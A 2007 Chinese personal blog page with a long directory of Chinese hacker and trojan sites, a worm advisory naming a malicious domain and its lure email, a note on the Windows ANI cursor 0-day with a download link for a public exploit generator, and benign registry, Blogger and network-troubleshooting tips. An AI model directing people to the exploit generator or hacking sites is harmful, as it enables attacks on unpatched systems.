黑客基地http://www.hackbase.com/
黑客帝国http://www.darkup.com/
中国黑客联盟http://www.chinahacker.com
起点黑客网络http://www.qdhack.com/
黑客边缘http://www.hkby.com
火狐技术联盟http://www.wrsky.com/
黑色反击http://www.hf110.com
维客网络http://221.214.141.79/test/zy/
网信安盟http://www.nsglobal.net
贺州黑客联盟http://www.shockhack.net/hzhacker/1/
中国网客http://www.chinahack.cn/
中国红客联盟http://www.cnhonker.com/
中国黑客同盟http://www.hackertop.com/
华夏黑客同盟 http://www.77169.com/
黑客部www.hacker110.com
黑客领域http://www.hackfield.com/
黑狐网络http://www.hafox.com/
情感网络联盟http://666w.com/
网海锥风http://www.nshacker.com/
校园黑客联盟http://218.90.162.35/redbin/main.asp
肉鸡乐园http://www.52255.com/
未来黑客联盟http://vip.zjbase.net/wlhk/
黑客地带http://www.hackdiy.com/
3+1网络安全联盟http://www.31safe.com
中国爱国大联盟http://www.shockhack.net
中国代理论坛http://www.chinaproxy.net/bbs2
网络休闲庄http://www.tty-10net
黑软乐园http://www.sq88.com/
南京黑客联盟http://www.njhacker.com/
中国灵客联盟http://www.lin2hack.org/
中国学盟http://www.xuemeng.com/
黑白网络http://www.heibai.net/
黑客协会http://www.cnhack.cn/
中国青年黑客联盟http://www.54hack.org/
愚人网络http://www.foolhome.com/
紫棵网络http://www.zk520.com/
鹰派教育http://www.chinawill.net/
内蒙网络http://www.nmsafe.com/
第八军团http://www.juntuan.org/index.asp
黑色海岸http://www.thysea.com/
幻影幽灵http://www.chinagg.org/
孤独剑客http://www.janker.org/
天天安全网http://www.ttian.net/
天极网络安全http://www.yesky.com/SoftChannel/723...08/index.shtml
同桌网络http://www.07cn.com/
网络技术http://www.s8s8.net/
网侠联盟http://www.hackhome.com/
水晶黑盟http://chack.org/
影子鹰安全http://www.cnhacker.cn/
酷客天堂http://www.coolersky.com/
黑客联盟http://www.chinahacker.com/
20CN网安http://www.20cn.net/
黑客技术http://www.hackart.org/
中华补天http://www.patching.net/
学习联盟http://www.xuemeng.com/
菜鸟帝国http://fhbandsyg.w5.51web.cn/
黑棵动画吧http://www.hack58.com/
木马帝国http://www.mmbest.com/
中华红色黑客联盟http://hacker001.com/
鹤乡黑客在线http://www.fenghome.com/
资源黑客网http://qybx.space.sino-trade.com/
农民黑客联盟http://qybx.space.sino-trade.com/
网络攻防http://myjojo.com/main.asp
GSN女子网络小组http://infostart.org/ctb/index.php
网吧安全http://fhbandsyg.go.nease.net/
黑色反击安全在线http://www.hf110.com/
黑客安全网http://www.hacker81.net/
中国E盟http://www.fzzc.com/
中国网络安全俱乐部http://www.cnnsc.com.cn/
中国雏鹰联盟http://www.cneyas.com/
黑人部落http://kingjzb001.w113.leoboard.com/01/index.asp
安全制造http://www.redlei.com/bbs/
中国免费软件http://www.07cn.com/index.html
世纪黑马http://www.huo119.com/
琦盟安全网络http://hacker.cnkkk.com/main.asp
星竹网络工作室http://www.qq600.com/
中国黑客之都http://www.zg520.net/
黑人网络http://www.cnheiren.com/
阿强实验室http://www.hackarea.com/
20nt网络安全组http://www.20nt.net/
冰点极限论坛http://bbs.icehack.com/index.php
中国网管联盟http://www.feedom.net/
华夏黑客同盟http://www.77169.com/
中华红黑联盟http://hacker001.com/
草盟网络http://www.caomeng.net/
D网在线http://www.d999.net/
中华黑客http://www.cnsafer.com/
砍客联盟http://kker.cn/
火龙网http://hacker001.com/links/goto.asp?id=33
华中鹰派http://hacker001.com/links/goto.asp?id=35
红军长征http://www.hjcz.net/
岁月http://www.syue.com/
蓝狐天峰http://www.skyapex.net/
红色风暴http://www.redsec.org/
安全天使小组http://www.cnse8.com/
绿盾在线http://www.chinawall.net/
黑鹰联盟http://www.cbhu.net/
蓝雪网络实验室http://www.lanxue.cn/
21ehack http://www.21ehack.com/
中国寒客联盟http://www.hker.org/
蓝客联盟http://cnlanker.org/
红色军团http://www.chra.net/
密码部落http://www.mmbl.con.cn/
肆意黑客http://www.chk.con.cn/
零点网络http://zwhua.hzmian.net/
中国新客联盟http://www.xker.com/
爱国者同盟http://www.1931-9-18.org/
007黑客学院http://www.cnzzs.com/
17r。net http://www.17r.net/
暗域网络技术论坛http://forum.hackway.net/index.php
黑客网络http://www.54hacker.net/
中国炎客联盟http://www.cnyanker.com/
黑影联盟http://www.86666.net/
炎黄兵团http://www.cnwill.com/index.asp
黑客安全网http://www.hacker81.net/
海纳百川http://www.sea168.net/
小榕软件实验室http://www.netxeyers.com
小凤居http://www.chinesehack.org/down/list.asp
红客警戒http://www.honker.co.sr/
幻极黑客http://hjhk.myrice.com/
黑客X档案http://www.hackerxfiles.net/
黑客防线http://www.hacker-defence.com/
软件屋-网络安全之站http://www.softhouse.com.cn/docs/security.html
AD网络安全小组http://www.chinawill.net/
中联绿盟http://www.nsfocus.net/
客家黑客联盟http://www.netbiao.com/index2.asp
KFW安全网http://www.safe123.com/
青岛红客联盟http://qdhonker.myrice.com/home.htm
豆豆技术网http://www.ddhome.net/
hacker http://www.hacker.com/
灰色轨迹http://www.sandflee.net/
安全焦点http://www.xfocus.net/
安盟科技有限公司http://www.chinansl.com/
网吧黑客http://www.cy07.com/
中国鹰盟http://www.chinaeagle.org/
派客地带http://www.peckerland.com/
中国信息安全论坛 http://www.chinafirst.org.cn/
中国新青年在线论坛 http://www.zikao100.net/newyouth/bbs/
西祠安全论坛 http://www.xici.net/group.asp?id=108007
网嗅技术论坛http://www.netsill.com/bbs/
网络利剑论坛 http://202.102.249.64:8080/
芝麻黑客http://www.zmhacker.com/
黑客X元素http://www.xysky.net/
黑客★城http://www.hack3.com/
黑客同志http://vrgames.myrice.com/
想飞社区http://www.netbiao.com/
OICQ黑客世界及防范http://www.oicqhacker.nethome.to/
黑客梦工场http://hacker-dream.51.net/
黑客禁区http://member.netease.com/~aqwang/hkjq.htm
东北狼黑客基地http://dbwolf.51.net/
九州网络http://www.hacksky.net/
黑客俱乐部http://hackerclub.iscool.net/
终极网络http://www.ztwl.net/
黑客技术文库http://htnb.sosoo.net/
傲剑山庄黑客区http://taojf.8d8d.net/
网吧终结者http://web.cy07.com/
小雨网络http://www.haiyun.net/
密码战士 http://mmzs.yeah.net/
赢政天下http://soft.winzheng.com/
黑暗力量http://www.dark2s.org/
中国奇客联盟http://www.qiker.com/
成长的痕迹http://www.lfpcb.com/lcdw/
2黑客http://www.2hackers.org
中国新客联盟http://www.xker.com/
2007/04/14
| [+/-] |
黑客网址大全[收录国内164个主要站点]~[不断更新中.......] |
2007/04/02
| [+/-] |
Google谷歌拼音输入法已推出 |
| 聪明的谷歌拼音输入法五大特色:
系统要求
|
2007/04/01
| [+/-] |
利用微软动画光标漏洞的复合型蠕虫现身 |
信息来源:CISRT Lab
一个非常不好的消息要告诉大家,利用微软动画光标漏洞的新蠕虫已经现身。我们收到了相关的样 本,通过分析,我们已经确认这是一个复合型蠕虫,含有类似熊猫烧香的感染功能、下载其他病毒的功能、发送含有最新.ani漏洞网址邮件的功能、感染 html等文件并向这些文件里添加含有最新漏洞网址的功能。由于危险程度非常高,CISRT Lab决定再次发布中度风险警报,提醒广大网友提高警惕!
同时我们建议广大网友、企业网管对以下两个域名进行屏蔽:
microfsot.com
蠕虫的大小在13K左右,会释放文件到以下目录:
添加注册表键值:
"System Boot Check"="%SYSTEM%\sysload3.exe"
会发送邮件:
To: [QQ号码]@qq.com
Subject:你和谁视频的时候被拍下的?给你笑死了!
Body:
看你那小样!我看你是出名了!
你看这个地址!你的脸拍的那么清楚!你变明星了!
http://macr.microfsot.com/
感染.HTML .ASPX .HTM .PHP .JSP .ASP和 .EXE文件,并向.HTML .ASPX .HTM .PHP .JSP .ASP文件里植入以下代码:
注意邮件和网页中提到的网址中都含有.ani 0-day漏洞的恶意文件。
Kaspersky检测为Trojan-Downloader.Win32.Agent.bky,毒霸命名为Worm.MyInfect
目前我们收到样本的MD5值为
4ebca8337797302fc6003eb50dd6237d
e9100ce97a5b4fbd8857b25ffe2d7179
| [+/-] |
Microsoft Windows Cursor and Icon Format Remote Code Execution (0day) |
微软官方的公告:Microsoft Security Advisory (935423): Vulnerability in Windows Animated Cursor Handling
来源:Ph4nt0m Security Team
就是最新那个ie 0day了,实际上利用方法不止是ie,用winhex等打开都会中,问题似乎是出在
user32.dll 的 loadcursorxxxxxxx ,函数返回时crash。
用资源管理器打开那个目录也可以触发,和以前的ms06-001 wmf漏洞有些相象,危害非常大。
Frsirt描述如下:
A vulnerability has been identified in Microsoft Windows, which could be exploited by remote attackers to take complete control of an affected system. This issue is due to a memory corruption error when rendering malformed cursors, animated cursors or icons, which could be exploited by remote attackers to execute arbitrary commands by tricking a user into visiting a malicious web page or viewing an email message containing a specially crafted ANI file.
Note : This zero-day vulnerability is currently being exploited in the wild.
Frsirt还把这个当钱卖,但是已经在网上有人公开生成器了。
http://www.hackeroo.com/read.php?tid-3014.html
另外,这个漏洞是影响VISTA的!
Affected Products
Microsoft Windows 2000 Service Pack 4
Microsoft Windows XP Service Pack 2
Microsoft Windows XP 64-Bit Edition ersion 2003 (Itanium)
Microsoft Windows XP Professional x64 Edition
Microsoft Windows Server 2003
Microsoft Windows Server 2003 (Itanium)
Microsoft Windows Server 2003 Service Pack 1
Microsoft Windows Server 2003 SP1 (Itanium)
Microsoft Windows Server 2003 x64 Edition
Microsoft Windows Vista
Microsoft Internet Explorer 6
Microsoft Internet Explorer 7
生成器下载地址: http://www.51files.com/?QGLEK7WJHY3G7I6G4NL6
| [+/-] |
注册表编辑器的一个隐藏参数 |
我们知道,使用注册表编辑器可以将注册表的任何一部分导出为可以使用任何文本编辑器处理的注册表文件,而我们在资源 管理器中双击此注册表文件时,系统会弹出对话框来让用户确认是否将此Reg文件添加到注册表中去,这尽管是注册表编辑器的一个保护措施,但是有时候我们会 嫌它太麻烦,其实,我们只要输入“Regedit /s +注册表文件”,注册表编辑器就会“静悄悄”地将你指定的注册表文件导入到系统注册表中去。
| [+/-] |
用脚本文件简单修改注册表 |
用.VBS脚本,也就是SCRIPT 脚本文件对注册表进行修改。如果您的爱机不支持VBSCRIPT,那么请您直接阅读第二部分。下面我通过一个例子自来解释脚本文件:
Windows Script Host Sample Script
You have a royalty-free right to use, modify, reproduce and distribute
the Sample Application Files (and/or any modified version) in any way
you find useful, provided that you agree that Microsoft has no warranty,
obligations or liability for any Sample Application Files.
------------------------------------------------------------------------
This sample demonstrates how to write/delete entries in the registry.
L_Welcome_MsgBox_Message_Text = "此脚本显示如何创建和删除注册表项。"
L_Welcome_MsgBox_Title_Text = "Windows Scripting Host 范例"
Call Welcome()
********************************************************************************
*
* Registry related methods.
*
Dim WSHShell
Set WSHShell = WScript.CreateObject("WScript.Shell")
WSHShell.Popup "创建项 HKCU\MyRegKey 数值为 Top level key"
WSHShell.RegWrite "HKCU\MyRegKey\", "Top level key"
WSHShell.Popup "创建项 HKCU\MyRegKey\Entry 数值为 Second level key"
WSHShell.RegWrite "HKCU\MyRegKey\Entry\", "Second level key"
WSHShell.Popup "将数值项 HKCU\MyRegKey\Value 设为 REG_SZ 1"
WSHShell.RegWrite "HKCU\MyRegKey\Value", 1
WSHShell.Popup "将数值项 HKCU\MyRegKey\Entry 设为 REG_DWORD 2"
WSHShell.RegWrite "HKCU\MyRegKey\Entry", 2, "REG_DWORD"
WSHShell.Popup "将数值项 HKCU\MyRegKey\Entry\Value1 设为 REG_BINARY 3"
WSHShell.RegWrite "HKCU\MyRegKey\Entry\Value1", 3, "REG_BINARY"
WSHShell.Popup ot;删除 HKCU\MyRegKey\Entry\Value1 数值"
WSHShell.RegDelete "HKCU\MyRegKey\Entry\Value1"
WSHShell.Popup "删除 HKCU\MyRegKey\Entry 项"
WSHShell.RegDelete "HKCU\MyRegKey\Entry\"
WSHShell.Popup "删除 HKCU\MyRegKey 项"
WSHShell.RegDelete "HKCU\MyRegKey\"
********************************************************************************
*
* Welcome
*
Sub Welcome()
Dim intDoIt
intDoIt = MsgBox(L_Welcome_MsgBox_Message_Text, _
vbOKCancel + vbInformation, _
L_Welcome_MsgBox_Title_Text )
If intDoIt = vbCancel Then
WScript.Quit
End If
End Sub
1.在上例中,单引号后面是注释.
2. L_Welcome_MsgBox_Message_Text = "此脚本显示如何创建和删除注册表项。"
L_Welcome_MsgBox_Title_Text = "Windows Scripting Host 范例"
这两句是提示.
3. 用 Set WSHShell = WScript.CreateObject("WScript.Shell"),定义一个对象WSHSHELL 为WScript.Shell,
4.WELCOME()是一个确认对话框.
5. WSHShell.Popup "创建项 HKCU\MyRegKey 数值为 Top level key" 是声明要修改的注册表项.
WSHShell.RegWrite "HKCU\MyRegKey\", "Top level key" 在HKCU下面创建MYREGKEY子键,读者也可以根据自己实际情况修改键名、指定路径。
6、REG_SZ为字符串,要用引号引起来,REG_DWORD 为0—2147483647之间整数,REG_BINARY与之范围相同。
7、需要注意的是,若结尾是“\”则创建一个主键(项),将其默认值设为逗号后面的值项,若结尾不是“\”,则在前一个“\”后面的项中建立所设立的VALUE,逗号后面为其值。
8、WSHShell.RegDelete与WSHShell.RegWrite大致相同,只是功能相反。
各位可以将上面文档复制,存为FILENAME.VBS,然后双击即可。
用INF 脚本修改注册表。同样我先举一个例子,然后做详细讲解。
[VERSION]
SIGNATURE=$CHICAGO$
[DEFAULTINSTALL]
ADDREG=MY.ADD.REG
DELREG=MY.DEL.REG
[MY.ADD.REG]
HKLM,SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\WINLOGON,AUTOADMINLOGON,0,”0”
HKCU,CONTROL PANEL\DESKTOP,SMOOTHSCROLL,1,01,00,00,00
HKCU,CONTROL PANEL\DESKTOP,SCREENSAVEUSEPASSWORD,1,00,00,00,00
[MY.DEL.REG]
HKCU,MYKEY
HKLM,SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\WINLOGON,DEFAULTUSERNAME
HKLM,SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\WINLOGON,DEFAULTUSERNAME
1.[VERSION] 是文件头。
SIGNATURE=$CHICAGO$ 是指针对WINDOWS(CHICAGO是WINDOWS95的内部名称)
要编辑注册表必须以这两句开头。
2、[DEFAULTINSTALL]段指出INF文件包含的其他段,ADDREG 和DELREG是键,有特殊意义,他指出要添加或删除的注册表项段名
3、WINDOWS98总是先处理DELREG段,后处理ADDREG段,这可能会对我们的应用有所帮助。
[MY.ADD.REG]
HKCU,MYKEY,MYVALUE,0,“STRING” 添加名为MYVALUE的字符串值项到键MYKEY下,其值设为STRING
HKCU,MYKEY,MYVALUE,,STRING 添加名为MYVALUE的字符串值项到MYKEY,将其值设为STRING
HKCU,MYKEY,MYVALUE,1,77,34,05,20添加名为MYVALUE的二进制值项到键MYKEY下,其值设为二进制值77,34,05,20
HKCU,MYKEY,0,”DEFAULT VALUE” 设置键MYKEY的缺省值项为字符串DEFAULT VALUE
HKCU,MYKEY,,”DEFAULT VALUE” 设置键MYKEY的缺省值项并将其值设为字符串DEFAULT VALUE
HKCU,MYKEY 添加注册表键MYKEY但不设置其值
[MY.DEL.REG]
HKCU,MYKEY,MYVALUE 从键MYKEY 中删除值项MYVALUE
HKCU,MYKEY 删除键MYKEY及其全部子键,即删除全部分支.
下面是一个自动清除MRU记录的INF文件:
CLEAN.INF
[VERSION]
SIGNATURE=$CHICAGO$
[DEFAULTINSTALL]
DELREG=DELTEGKEY
[DELREGKEY]
HKCU,”SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DOC FIND SPEC MRU”,
HKCU, SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FINDCOMPUTERMRU,
HKCU, SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\RECENTDOCS,
HKCU, SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\RUNMRU
清除MRU和WINDOWS\RENCENT 的批处理文件
CLEAN.BAT
@ECHO OFF
C:\WINDOWS\RUNDLL.EXE SETUPX.DLL,INSTALLHINFSECTION DEFAULTINSTALL 132 CLEAN.INF
ECHOY |ERASE C:\WINDOWS\RECENT
各位可将CLEAN.BAT 加入HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN中让电脑自动在启动时完成任务.
| [+/-] |
MS-DOS方式下对注册表的编程 |
在MS-DOS方式下也能对注册表进行编程?是的。当您的Windows 95/98因注册表问题而无法启动到图形界面时,您此时只有在DOS下对注册表进行手术了。因为注册表编辑器Regedit.exe其实是一个双栖型的程 序,既可在DOS下运行,也可在Windows 95/98下运行。许多用户可能已经知道在Windows下使用Regedit 的方法,那么,要掌握MS-DOS方式下对注册表的编程,首先要了解在DOS下如何使用注册表编辑器。
在DOS提示符下键入Regedit命令,将出现一个帮助屏幕。此屏幕给出了其命令行参数及其使用方法。
语法: Regedit [/L:system] [/R:user] filename1
Regedit [/L:system] [/R:user] /C filename2
Regedit [/L:system] [/R:user] /E filename3 [regpath]
其中:
/L:system 指定system.dat文件的存放位置。
/L:user 指定user.dat文件的存放位置。
filename1 指定引入注册表数据库的文件名。
/C filename2 指定形成注册表数据库的文件名。
/E filename3 指定导出注册表文件的文件名。
regpath 指定导出注册表文件的开始关键字(缺省为全部关键字)
现举几个例子说明regedit.exe在DOS下的使用方法。
【例1】 将系统注册表数据库registry导出到reg1.reg文件中。
regedit /E reg1.reg
【例2】 reg1.reg形成系统注册表数据库registry(全部)中。
regedit /C reg1.reg
【例3】 将reg.dat引入系统注册表数据库中(部分)。
regedit reg.dat
【例4】 将CJH开始的关键字导出注册表数据库,并命名为cjh.reg。
regedit /E cjh.reg cjh
【例5】 指定system/dat存放在D:\PWIN中和user.dat存放在E:\PWIN中,将reg.dat数据文件形成一个新的注册表数据库registry。
regedit /L:D:\PWIN /R:E:\PWIN /C reg.dat
有了以上这些知识,结合在《对注册表进行编程的“捷径”》里讲过的关于导入或导出的注册表文件(*.REG),我们就可以在DOS方式下对注册表进行编程了。
我们还是以更改“*.txt”文件的默认打开方式——“记事本”为“写字板”为例。首先在MS-DOS提示符下导出“HKEY_CLASSES_ROOT\txtfile”子键这一分支,即执行命令:
regedit /E txt.reg HKEY_CLASSES_ROOT\txtfile
然后用DOS下的EDIT编辑器打开txt.reg文件进行编辑:将其中所有的“C:\\WINDOWS\\NOTEPAD.EXE”全部改成“C:\\WINDOWS\\WRITE.EXE”,存盘退出EDIT,再在命令行下执行命令:
regedit txt.reg
便大功告成了。
当然,严格来说,这并不是编程。如果一定要编程实现的话,我们可以将以上过程写成一批处理文件chang.bat:
@echo off
path=c:\windows;c:\windows\command;c:\dos
cls
echo 正在导出注册表……
regedit /E txt.reg HKEY_CLASSES_ROOT\txtfile
echo.
echo 注册表导出完毕!按任一键开始编辑注册表……
echo.
pause
edit txt.reg
echo 正在将修改后的注册表导入……
regedit txt.reg
echo 恭喜您!在MS-DOS方式下成功修改了注册表!
pause
cls
@echo on
充分发挥EDIT编辑器的强大功能,我们可以在遵循导出的注册表文件的格式的前提下,对注册表进行随心所欲的修改、删除或者增加任一子键。如果觉得这还 不够程序化,您可以发挥DOS环境下各种程序设计语言的优势,加上交互性的界面,将这一过程真正的程序化,应该丝毫不亚于Windows状态下的利用 API函数做出来的效果。有兴趣的朋友可以试一试。如果对此还有什么问题,请与我联系
| [+/-] |
注册表妙用三则 |
启动时的问候信息
想每次开机时机子向你说上一声welcome吗?你可以通过如下方法做到:
打开注册表在 “HKEY——LOCAL——MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon下新建字符串
LegalNoticCaption,、值设为"问候",另"LegalNoticeText"并赋值"Welcome".然后关机重启,翘首以待吧!
公文包变身大法
常用公文包的朋友会否觉得它相貌丑陋.难以入目?那么现在你有福音了。打开注册表编辑器,找到"HKEY--CLASSESROOT\CLSID\{85BBD920_42AO_1069_A2E4_08002B30309D} DefaultIcom"
双击右边窗口中的“默认",将“Syncui.dll"修改为“Syncui.dll,1"重新
启动后你会发现公文包已经摇身一变,成为了一位英俊潇洒的金属战士。
在任务栏里加入个人信息
试过在你心爱的机子屏幕下方加上几条有趣的信息(比方说:Hello Kitty)吗?以下方法可以帮你达成心愿:
打开注册表编辑器在HKEY_CURRENT-_USER\ControlPanel\International下新建
字符串"sTimeFormat",赋值“HH:MM:SS:TT",”
S1159"="Hello!""S2359"="Kitty!",则任务栏前方将显示“HELLO!",后为”Kitty!"
怎么样,是不是很有趣?
2007/03/18
| [+/-] |
Blogger-Beta Hack之“折叠Beta——显示摘要” |
首页显示摘要是我认为最有用的Hack之一,感谢Kax提供水瓶子的blogger中关于在Beta下如何显示摘要的方法。我这里就借花献佛:
1.定位红色代码
<p><data:post.body/></p>
2.替换为蓝色代码
<b:if cond='data:blog.pageType == "item"'>
<style>.fullpost{display:inline;}</style>
<p><data:post.body/></p>
<b:else/>
<style>.fullpost{display:none;}</style>
<p><data:post.body/>
<br></br>
<b:if cond='data:post.url'>
<a expr:href='data:post.url'>More......</a>
<b:else/>
<data:post.title/>
</b:if>
</p>
</b:if>
3.在帖子模板中添加
<span class="fullpost"></span>
收工!
| [+/-] |
百万格子为什么到中国就没活力了? |
百万格子,确切的说人家是百万美圆,到中国后发展的到是很快,不过发展的情况却不能让人满意!
中国太多asp程序员了,所以百万格子在中国最火的时候大家无论是开源的、还是购买的几乎都是asp的。
当然,重要的可能不在脚本本身,而在于急功近利了,中国格子大小大了,网站也不少,莫名其妙地
百万格子完全成了流量交换的网站了,虽然ip可能上去了,广告价值却不见的满意。
而英国那个家伙却有声有色的。同时在国外百万格子也为共享软件作者创造了很多机会,在英国百万格子程序
不是开源的,同时由于是php代码,同时功能复杂,很少人能复制出来。所以,百万格子带了的不仅是英国高中生的
富有。
我于是纳闷:为什么到了中国就不行了,变味了呢?
到这里我说一句:有ip不一定就代表有钱! 还有其他一些要素在里面,盲目的ip崇拜也许是导致中国站长界创新乏力的
一个不忽视的原因。流量交换不是互联网的驱动力,互联网的驱动力永远是内容。
| [+/-] |
Google Blogger使用技巧 |
Blogger是Google提供的免费博客服务,提供中文界面,是一个很成熟的中文博客发布平台。
Blogger一个突出的特点就是简洁但功能强大,没有多余而花哨的功能,必要的功能一个都不差。Bloger自由性最大的地方在于其模板可以自定义,也就是说你可以修改模板里的任何内容,包括Google的广告,这给那些懂Html和CSS的Blogger提供了很大的自由度。Blogger默认把用户的网志发布到免费提供的 Blogspot.com主机上。可惜的是Blogspot.com从中国是无法访问。好在Blogger.com提供了一种很独特的服务,可以将博客的静态页面通过FTP发布到用户选择的服务器上。
通过FTP发布到其他主机
用户在Blogger.com上的默认Blog地址显然无法从国内访问,但是如果你有一个虚拟主机空间,或者其他支持FTP的空间,那么Blogger.com可以将这个地址上的日志文件全部发布到你的虚拟主机空间上去。
具体的方法是:登陆你的Blogger帐号,进入控制面板,更改设置,在"发布"选项卡中点击FTP的超级链接,然后录入FTP服务器地址,FTP用户名和密码。点保存设置后,就可以发布了,这时Blogger.com会将你的整个站发布到你指定的主机上。
至于这个FTP服务器,我推荐一个国内GFans提供的免费Blogger Spaces空间,支持FTP发布,最重要的是支持域名绑定,其服务器在广州,速度很快,希望大家不要滥用其服务。
通过电子邮件发布日志
在Blogger中写日志麻烦?告诉你一个技巧,你可以不登录Blogger网站,只要发送一封电子邮件就可以发表文章了。
具体的方法是:登陆你的Blogger帐号,进入控制面板,更改设置,在"电子邮件"中,在Mail-to-Blogger地址中可以自定义一个邮件地址,发送到此地址的邮件会自动张贴,BlogSend地址是另外一个电子邮件地址,只要一发布文章,系统会将其邮寄文章到此地址。
这里再介绍一个小技巧,就是在更新Blogger的同时也更新MSN Space。因为MSN Space也是支持邮件发布的,因此将Blogger发布后发送邮件的BlogSend地址修改为MSN Space的发布邮件地址,这样在Blogger上发布一篇文章后,系统就会自动将文章内容发送到Msn Spaces里,这样就同时更新了两个博客。
有一点值得注意的是,Blogger默认的编码是UTF-8编码,因此发送邮件的时候要将邮件编码设置为UTF-8的格式,建议登陆GMail发送邮件。一来GMail默认就是UTF-8格式的,编码全兼容,二来GMail支持自动保存功能,不怕电脑死机后丢失文章,三来GMail还可以自动备份发出去的文章,以免文章丢失。
使用第三方软件发布文章
Zoundry是一个第三方的日志发布软件,可以做到不用登陆Blogger即可发布日志,使用它来编辑和发布,速度和效率都非常理想。
添加Google Adsense广告
Google Blogger用户可以很快捷方便地申请加入Google Adsense广告服务。Google本身也推荐博客们使用Blogger的广告来为自己和Google赚钱。
Google工具栏的应用
Google工具栏有一个按钮是"发送到Blogger",可以快速将当前网页发送到自己的Blogger空间上。
Google Picasa的应用
Picasa是Google的图像管理软件,在Picasa中点图片,再点"Blog This",可以将选定图片发送到自己的Blogger空间上。
Blogger的申请地址是: http://www.blogger.com
2007/03/17
| [+/-] |
本站免费提供瑞星服务优惠劵验证码 |
远程救助服务优惠劵验证码
ERSLC00337657
ERSLC00203424
ERSLC00295194
ERSLC00467549
ERSLC00802081
ERSLC00727311
ERSLC00686040
ERSLC00809854
ERSLC00563047
ERSLC00800310
ERSLC00336968
ERSLC00699816
ERSLC00362058
ERSLC00838935
ERSLC00775984
ERSLC00683897
ERSLC00429000
ERSLC00024247
ERSLC00417367
ERSLC00468128
数据恢复服务优惠劵验证码
ERSXF00323317
ERSXF00336218
ERSXF00888421
ERSXF00199635
ERSXF00453078
ERSXF00335584
ERSXF00663239
ERSXF00101174
ERSXF00318529
ERSXF00525519
ERSXF00360937
ERSXF00381162
ERSXF00462251
ERSXF00874777
ERSXF00637197
ERSXF00805190
ERSXF00439434
ERSXF00802282
ERSXF00103951
ERSXF00198946
电子优惠劵每次服务仅限使用一次,不可兑换现金以及任何产品,不能与其他优惠同时使用。
电子优惠劵的有效期至 2007年12月31日。
| [+/-] |
谷歌正式在华推出搜索排行榜服务 |
新浪科技讯 3月16日消息,谷歌(Google)在中国正式推出热榜服务,即搜索排行榜,该服务主要用以显示谷歌各类热门的关键词,以及其热门程度近期走势。
排行榜是搜索引擎常见的信息组织形式,通常用以表明某一领域内的流行趋势情况,国内的搜索引擎在此前基本都已经提供了该服务。
谷歌官方称,谷歌搜索排行榜是根据用户搜索的情况生成,并按不同的分类领域呈现。
谷歌新闻发言人向新浪科技表示,推出热榜主要是为了延长中文产品线,以满足各种使用习惯的用户。"像我们的父辈,他们很多人不能熟练的使用拼音等输入法,热榜和导航服务可以满足这部分用户的需求",她说。
目前谷歌总共推出了45个排行榜,除了谷歌根据搜索记录产生的排行榜,谷歌热榜还收录了其他来源的排行榜,但是以谷歌自有排行为主。谷歌新闻发言人称,将来希望引进更多的第三方排行榜,目前的热榜还在测试阶段,先推出来主要也是希望让第三方看到。
在"谷歌热榜"的首页上,除了最上面一排是固定的"谷歌搜索排行榜",其他的排行榜是根据排行榜的访问量进行排序的。衡量排行榜访问量是综合查看次数,点击次数以及其分布规律等参数计算得出的。
"谷歌热榜"是谷歌又一个本地化产品(www.google.cn/rebang/home)。前不久,谷歌曾推出专门针对中文用户的网址导航服务。(刘阳)
| [+/-] |
Google图书中国版新增国学图书搜索 |
Google图书中国版网址http://books.google.cn/
看来Google的确在本土化的道路上迈进了一大步,我试了试:
搜索 论语 共得到 176 本图书。(搜索用时0.03秒)
搜索 中庸 共得到 100 本图书。(搜索用时0.08秒)
搜索 孔子 共得到 290 本图书。(搜索用时0.06秒)
搜索 孟子 共得到 6 本图书.(搜索用时0.04秒)(看来孟子的知名度还不够高^_^)
基本上搜索到的书都能免费阅读,速度也挺快,大家快去看看吧~
2007/03/13
| [+/-] |
找寻消失的"网络连接" |
一,故障症状:
在WIN2000/XP/2003中单击"开始->控制面板->网络连接",或者 "网上邻居->属性",我们会看到"本地连接"图标,一般情况计算机有几个网卡就会出现几个本地连接。当然有的读者可能使用过类似虚拟网卡的程序,那么每添加一个虚拟网卡程序就会多出一个本地连接。通过本地连接我们可以设置相对应网卡的网络参数。当然实际工作中"本地连接"会出现以下一个或多个故障。
引用内容
1,"本地连接"图标丢失。
2,"拨号连接"图标丢失。
3,"新建连接"向导图标丢失。
4,只显示"新建连接"图标,或是显示一个或多个拨号连接而其他连接选项为灰色不可选。
5,单击网络连接的"高级"菜单,然后单击"高级设置",则在"连接"中只显示"远程访问连接"项。
6,选择某个网络连接并单击"属性"后,"网络和拨号连接"资源管理器停止响应或马上关闭。
尽管存在这些问题,网络还可以正常运行,并且ipconfig命令还显示所有的连接和所有的适配器信息。但在以后建立新的连接及网络设置时会感到非常不便。
二,解决步骤:
既然问题出现了,那么我们如何去解决呢?
第一步:验证关于网络DLL文件是否已正确注册,在windows2000/XP/2003中,与网络相关的动态链接库文件主要有 netshell.dll,netcfgx.dll,netman.dll。在实际使用中很可能由于一些意外而造成DLL文件的注册失效。我们只要通过开始->运行->输入"regsvr32 netshell.dll"(不含引号)就可以完成对该DLL文件的注册,同理使用 regsvr32 netcfgx.dll和regsvr32 netman.dll完成对另外两个文件的注册。注册完毕重新启动计算机。
第二步:验证网络适配器的设置,通过"我的电脑->属性->硬件->设备管理器",展开网络适配器(即网卡),验证是否列出了正确的网卡。确认网卡型号正确,并且设备前方没有?和!。双击网络适配器,验证在"常规"标签中的"设备状态"中是否出现了"此设备当前工作正常"这一消息。
第三步:验证必要的服务是否已经启动,通过"控制面板->管理工具->服务"查看以下几个服务是否已经启动。包括 remote procedure call(RPC),network connections,plug and play,com+ event system 和remote access connection manager以及telephony共六项服务。这里要特别注意的是当 remote access connection manager服务没有启动的话,在建立网络连接的时候会出现提示。
第四步:验证网络服务设置,通过"控制面板->添加或删除程序->添加/删除windows组件",选择"网络服务->详细信息",验证"简单TCP/IP服务"是否已经打开。
第五步:确保系统文件夹中的所有Windows保护文件没有受到影响,通过在命令提示符下键入sfc /purgecache和sfc /scannow来启动windows文件检查器对保护文件进行修复。
